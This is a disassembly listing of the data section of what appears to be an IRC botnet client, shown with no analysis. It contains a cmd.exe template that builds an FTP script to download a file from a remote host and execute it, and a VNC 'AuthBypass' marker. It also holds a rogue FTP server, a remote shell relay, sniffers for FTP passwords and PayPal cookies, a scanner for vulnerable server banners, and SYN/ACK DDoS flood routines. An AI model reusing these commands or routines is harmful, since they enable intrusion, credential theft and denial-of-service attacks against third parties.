db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
aCmdCEchoOpen_1 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40DAB6+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
word_44B4E8 dw 1 ; DATA XREF: .nsp0:0040DD0Dr
align 4
dword_44B4EC dd 20424652h, 64333025h, 3330252Eh, 0A64h ; DATA XREF: .nsp0:0040DD96o
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .nsp0:0040DEFCo
align 4
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40E017+130o
aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
; DATA XREF: sub_40E203+23Eo
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40E4A5+1C9o
align 4
aSS_1 db '%s %s',0 ; DATA XREF: sub_40E4A5+251o
align 4
aUser_0 db 'USER',0 ; DATA XREF: sub_40E4A5+262o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40E4A5+277o
align 4
aPass db 'PASS',0 ; DATA XREF: sub_40E4A5+287o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40E4A5+29Bo
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_40E4A5+2ABo
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40E4A5+2BFo
align 4
aRest db 'REST',0 ; DATA XREF: sub_40E4A5+2CFo
align 4
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40E4A5+2E3o
align 4
off_44B628 dd offset off_445750 ; DATA XREF: sub_40E4A5+2F3o
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40E4A5+307o
align 4
aType db 'TYPE',0 ; DATA XREF: sub_40E4A5+317o
align 4
aA_0: ; DATA XREF: sub_40E4A5+32Eo
unicode 0, <A>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40E4A5+342o
aType_0 db 'TYPE',0 ; DATA XREF: sub_40E4A5+352o
align 4
aI: ; DATA XREF: sub_40E4A5+369o
unicode 0, <I>,0
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40E4A5+37Do
aPasv db 'PASV',0 ; DATA XREF: sub_40E4A5+38Do
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_40E4A5+3A0o
align 10h
aList_0 db 'LIST',0 ; DATA XREF: sub_40E4A5+3DBo
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40E4A5+3EEo
align 10h
aPort db 'PORT',0 ; DATA XREF: sub_40E4A5+41Co
align 4
aS_19 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40E4A5+455o
db ']',0
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40E4A5+496o
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40E4A5+4C9o
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40E4A5+4DAo
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_40E4A5+4EFo
align 4
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_40E4A5+507o
align 4
aFtpTransferSta db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40E4A5+530o
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40E4A5+57Ao
aFtpTransferCom db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40E4A5+58Co
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_40E4A5+5DDo
align 10h
aQuit_1 db 'QUIT',0 ; DATA XREF: sub_40E4A5+5EAo
align 4
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40E4A5+5FEo
aRb db 'rb',0 ; DATA XREF: sub_40EB56+24o
align 4
aGet db 'GET ',0 ; DATA XREF: sub_40EBF0+26Fo
align 10h
asc_44B820: ; DATA XREF: sub_40EBF0+292o
unicode 0, < >,0
asc_44B824: ; DATA XREF: sub_40EBF0+297o
unicode 0, < >,0
aGet_0 db 'GET ',0 ; DATA XREF: sub_40EBF0+2A2o
align 10h
asc_44B830 db 0Dh,0Ah,0 ; DATA XREF: sub_40EBF0+2D5o
align 4
unk_44B834 db 2Dh ; - ; DATA XREF: sub_40EBF0+3FEo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
aTextHtml db 'text/html',0 ; DATA XREF: sub_40F051+5Eo
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F051:loc_40F0B6o
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F051+83o
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F051+97o
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F051+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F051+F6o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aS_20 db '\%s',0 ; DATA XREF: sub_40F1D3+2Fo
aS_21 db '%s',0 ; DATA XREF: sub_40F1D3+3Ao
align 4
aSS_2 db '%s%s',0 ; DATA XREF: sub_40F1D3+EAo
align 10h
asc_44BA80: ; DATA XREF: sub_40F1D3+FBo
dw 0Ah
unicode 0, <>,0
asc_44BA84: ; DATA XREF: sub_40F1D3+157o
unicode 0, <*>,0
unk_44BA88 db 2Dh ; - ; DATA XREF: sub_40F1D3+20Bo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 4
unk_44BABC db 2Dh ; - ; DATA XREF: sub_40F1D3+28Fo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_30 db ' failed to start worker thread, error %d',0
align 4
asc_44BAF4: ; DATA XREF: sub_40F483+29o
dw 0Ah
unicode 0, <>,0
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F483+4Bo
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F483+78o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F483+ADo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F483+F7o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F483+12Bo
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F483+147o
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F483+1C0o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
a__ db '..',0 ; DATA XREF: sub_40F483+232o
align 4
a__1: ; DATA XREF: sub_40F483+24Do
unicode 0, <.>,0
aPm_0 db 'PM',0 ; DATA XREF: sub_40F483+285o
align 10h
aAm db 'AM',0 ; DATA XREF: sub_40F483+290o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F483+2BAo
aS_22 db '<%s>',0 ; DATA XREF: sub_40F483+2E4o
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F483+30Eo
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F483+330o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aSS_3 db '%s%s/',0 ; DATA XREF: sub_40F483+374o
align 10h
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F483+3BBo
align 10h
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F483:loc_40F845o
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F483+401o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aS_23 db '<%s>',0 ; DATA XREF: sub_40F483+413o
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F483+434o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F483+471o
align 10h
aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F483+486o
db '<TD WIDTH="%d"><A HREF="',0
align 10h
aSS_4 db '%s%s',0 ; DATA XREF: sub_40F483+4CAo
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F483+511o
align 4
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F483:loc_40F99Bo
align 10h
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F483+561o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F483+589o
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_40F483+618o
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F483+633o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_40F483+64Eo
align 4
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40FBF0+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_44BFCC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40FD11+BBo
aClientConnecti db '- client connection from %s:%d.',0
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_40FD11+113o
dword_44C010 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40FD11+16Eo
aServerFailed_0 db '- server failed, returned %d',0
align 4
unk_44C03C db 2Dh ; - ; DATA XREF: sub_40FEBC+E9o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_44C084 db 2Dh ; - ; DATA XREF: sub_40FEBC+15Eo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_31 db 'Failed to start client thread, error: <%d>.',0
unk_44C0C0 db 2Dh ; - ; DATA XREF: sub_41004D+E1o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_44C104 db 2Dh ; - ; DATA XREF: sub_41004D+1AAo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_32 db 'Failed to start connection thread, error: <%d>.',0
unk_44C144 db 2Dh ; - ; DATA XREF: sub_4102D1+E1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 10h
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_4102D1+172o
align 4
unk_44C184 db 2Dh ; - ; DATA XREF: sub_4102D1+1A2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
unk_44C1AC db 2Dh ; - ; DATA XREF: sub_4102D1+1C2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 4
unk_44C1D8 db 2Dh ; - ; DATA XREF: sub_4102D1+1E9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_44C204 db 2Dh ; - ; DATA XREF: sub_4104D6:loc_41051Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 10h
dword_44C230 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
; DATA XREF: sub_410530+1Bo
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0
align 10h
unk_44C2A0 db 2Dh ; - ; DATA XREF: sub_41055F+3Do
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 4
unk_44C2CC db 2Dh ; - ; DATA XREF: sub_41055F+70o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0
align 10h
unk_44C310 db 2Dh ; - ; DATA XREF: sub_41055F+106o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aReadyAndWaitin db '- Ready and waiting for incoming connections.',0
align 4
unk_44C34C db 2Dh ; - ; DATA XREF: sub_41055F+177o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_44C390 db 2Dh ; - ; DATA XREF: sub_41055F+1FBo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_33 db '- Failed to start client thread, error: <%d>.',0
align 4
unk_44C3CC db 2Dh ; - ; DATA XREF: sub_41055F+219o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorServerFai db '- Error: server failed, returned: <%d>.',0
align 4
unk_44C404 db 2Dh ; - ; DATA XREF: sub_4107E7+59o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_44C44C db 2Dh ; - ; DATA XREF: sub_4107E7+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_44C494 db 2Dh ; - ; DATA XREF: sub_4107E7+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
unk_44C4C8 db 2Dh ; - ; DATA XREF: sub_410938+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_44C508 db 2Dh ; - ; DATA XREF: sub_410938+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_2 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_44C548 db 2Dh ; - ; DATA XREF: sub_410938+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410A31+8Co
align 4
unk_44C578 db 2Dh ; - ; DATA XREF: sub_410A31+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 10h
unk_44C5B0 db 2Dh ; - ; DATA XREF: sub_410B0A+A1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0
dword_44C5EC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_410CDF+A8o
aServerStarte_5 db '- Server started on: %s:%d.',0
dword_44C614 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_410CDF+114o
aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0
align 4
dword_44C658 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_410CDF+18Fo
aFailedToSta_34 db '- Failed to start client thread, error: <%d>.',0
align 4
dword_44C694 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_410CDF+1B2o
aFailedToSta_35 db '- Failed to start server on Port %d.',0
align 4
dword_44C6C8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_410EE4+F2o
aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0
align 4
dword_44C708 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_410EE4+18Ao
aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0
align 4
dword_44C748 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_410EE4+1F9o
aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0
align 4
aOctet db 'octet',0
align 4
aRb_0 db 'rb',0 ; DATA XREF: sub_4112A8+130o
align 4
aTftpTransferSt db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_4112A8+2CDo
align 4
aTftpTransferCo db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_4112A8+3C4o
align 4
dword_44C7D8 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_4112A8+41Co
dword_44C7E4 dd 20746F42h, 66696E73h, 66h ; DATA XREF: sub_411734+5o
dword_44C7F0 dd 4E53505Bh, 5D464649h, 3Ah ; DATA XREF: sub_411734+2Bo
dword_44C7FC dd 494E5350h, 2F2F4646h, 0 ; DATA XREF: sub_411734+3Co
dword_44C808 dd 4E494F4Ah, 2320h ; DATA XREF: sub_411734+4Do
dword_44C810 dd 20323033h, 0 ; DATA XREF: sub_411734:loc_411796o
dword_44C818 dd 20363633h, 0 ; DATA XREF: sub_411734+73o
dword_44C820 dd 6F6C2E3Ah, 6E6967h ; DATA XREF: sub_411734+84o
dword_44C828 dd 6F6C213Ah, 6E6967h ; DATA XREF: sub_411734+95o
dword_44C830 dd 6F4C213Ah, 6E6967h ; DATA XREF: sub_411734+A6o
dword_44C838 dd 6F4C2E3Ah, 6E6967h ; DATA XREF: sub_411734+B7o
dword_44C840 dd 64692E3Ah, 746E65h ; DATA XREF: sub_411734+C8o
dword_44C848 dd 6469213Ah, 746E65h ; DATA XREF: sub_411734+D9o
dword_44C850 dd 61682E3Ah, 6E696873h, 0 ; DATA XREF: sub_411734+EEo
dword_44C85C dd 6168213Ah, 6E696873h, 0 ; DATA XREF: sub_411734+103o
dword_44C868 dd 20435249h, 66696E73h, 66h ; DATA XREF: sub_41184B+5o
dword_44C874 dd 5245504Fh, 20h ; DATA XREF: sub_41184B+2Bo
dword_44C87C dd 4B43494Eh, 20h ; DATA XREF: sub_41184B:loc_41188Bo
dword_44C884 dd 7265706Fh, 20h ; DATA XREF: sub_41184B+51o
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_41184B+62o
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4118C1+5o
align 4
aNick_2 db 'NICK ',0 ; DATA XREF: sub_4118C1+2Bo
align 4
a220 db '220 ',0 ; DATA XREF: sub_4118C1+3Co
align 4
a230 db '230 ',0 ; DATA XREF: sub_4118C1:loc_411912o
align 4
aUser_1 db 'USER ',0 ; DATA XREF: sub_4118C1+62o
align 4
aPass_0 db 'PASS ',0 ; DATA XREF: sub_4118C1+73o
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_411948+5o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_411948+2Bo
align 10h
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_411948:loc_411988o
align 4
aPaypal_com db 'PAYPAL.COM',0 ; DATA XREF: sub_411948+51o
align 4
aPaypal_com_0 db 'paypal.com',0 ; DATA XREF: sub_411948+62o
align 10h
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_411948+73o
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4119CF+5o
align 4
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4119CF+2Bo
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4119CF:loc_411A0Fo
align 4
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4119CF+51o
align 4
unk_44C958 db 2Dh ; - ; DATA XREF: sub_411A34+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
unk_44C984 db 2Dh ; - ; DATA XREF: sub_411A34+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 4
aS_32 db '%s',0 ; DATA XREF: sub_411A34+228o
align 4
aS_33 db '%s',0 ; DATA XREF: sub_411A34+250o
align 4
unk_44C9BC db 2Dh ; - ; DATA XREF: sub_411A34+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44C9F0 db 2Dh ; - ; DATA XREF: sub_411A34+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44CA24 db 2Dh ; - ; DATA XREF: sub_411A34+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44CA58 db 2Dh ; - ; DATA XREF: sub_411A34+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 10h
unk_44CA90 db 2Dh ; - ; DATA XREF: sub_411A34+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_44CAC8 db 2Dh ; - ; DATA XREF: sub_411E27+5Bo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_411ED9+F1o
align 4
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_411ED9:loc_411FE9o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_411ED9:loc_412005o
dword_44CB14 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_411ED9+302o
dd 203A726Fh, 6425h
unk_44CB30 db 2Dh ; - ; DATA XREF: sub_41226E+49o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSocketFailedRe db 'socket() failed, returned %d',0
align 4
unk_44CB5C db 2Dh ; - ; DATA XREF: sub_41226E+C2o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSetsockoptFail db 'setsockopt() failed, returned %d',0
align 4
unk_44CB8C db 2Dh ; - ; DATA XREF: sub_41226E+12Ao
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidTargetI db 'invalid target ip',0
align 4
